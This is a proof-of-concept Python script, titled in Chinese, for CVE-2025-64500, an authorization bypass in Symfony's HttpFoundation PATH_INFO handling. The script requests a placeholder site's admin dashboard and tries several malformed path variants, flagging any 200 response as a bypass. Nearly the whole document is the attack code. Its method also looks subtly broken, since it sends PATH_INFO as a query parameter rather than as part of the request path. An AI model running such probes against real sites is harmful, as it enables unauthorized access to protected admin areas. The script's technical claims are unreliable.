CVE-2025-64500 Symfony HttpFoundation PATH_INFO解析错误导致授权绕过

# CVE-2025-64500 PoC - Symfony PATH_INFO Authorization Bypass # This PoC demonstrates how a malformed PATH_INFO can bypass access controls # that assume URL paths start with '/' import requests import urllib.parse TARGET_URL = "http://target-site.com/" VULNERABLE_ENDPOINT = "admin/dashboard" def test_path_info_bypass(): """ Test if the target is vulnerable to PATH_INFO based authorization bypass. Some access control rules assume URL paths start with '/' """ headers = { "User-Agent": "Mozilla/5.0 (CVE-2025-64500 PoC)", "X-Original-URI": f"/{VULNERABLE_ENDPOINT}" } # Normal request - should be blocked by access control normal_request = requests.get( TARGET_URL + VULNERABLE_ENDPOINT, headers=headers, allow_redirects=False ) print(f"Normal request status: {normal_request.status_code}") # Bypass attempt using PATH_INFO without leading '/' # This may bypass access controls that incorrectly validate paths bypass_paths = [ VULNERABLE_ENDPOINT, # Missing leading slash ";" + VULNERABLE_ENDPOINT, "/.;/" + VULNERABLE_ENDPOINT, "/" + VULNERABLE_ENDPOINT + "/." ] for bypass_path in bypass_paths: try: response = requests.get( TARGET_URL, headers=headers, params={"PATH_INFO": bypass_path}, allow_redirects=False ) print(f"Bypass path '{bypass_path}': {response.status_code}") if response.status_code == 200: print(f"[+] Potential bypass detected with path: {bypass_path}") return True except Exception as e: print(f"Error testing {bypass_path}: {e}") return False if __name__ == "__main__": print("CVE-2025-64500 Symfony PATH_INFO Bypass Test") print("=" * 50) test_path_info_bypass()